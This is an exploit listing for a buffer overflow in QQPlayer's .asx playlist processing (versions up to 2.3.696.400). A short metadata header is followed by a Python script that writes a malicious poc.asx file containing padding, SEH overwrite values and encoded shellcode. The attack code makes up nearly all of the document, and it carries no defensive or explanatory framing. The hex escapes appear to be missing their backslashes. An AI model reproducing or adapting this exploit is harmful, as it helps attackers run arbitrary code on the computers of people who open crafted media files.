QQPlayer asx File Processing Buffer Overflow Exploit

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# Title : QQPlayer asx File Processing Buffer Overflow Exploit
# Published : 2010-07-21
# Author : Li Qingshan
# Previous Title : QQPlayer cue File Buffer Overflow Exploit
# Next Title : ZipCentral (.zip) Buffer Overflow (SEH)

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#
# Title: QQPlayer asx File Processing Buffer Overflow Exploit
# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Test: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
#
#################################################################
# Code :

head ='''<ASX version="3.0">
<Entry>
<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''
junk = "A" * 1975
nseh ="x42x61x21x61"
seh  ="xa9x9ex41x00"
adjust="x30x83xc0x0c"
shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"
           "QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"
           "KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"
           "QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"
           "TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"
           "HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")
junk_="R"*8000
foot ='''_playlis.wma"/>
</Entry>
</ASX>'''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.asx","w")
fobj.write(payload)
fobj.close()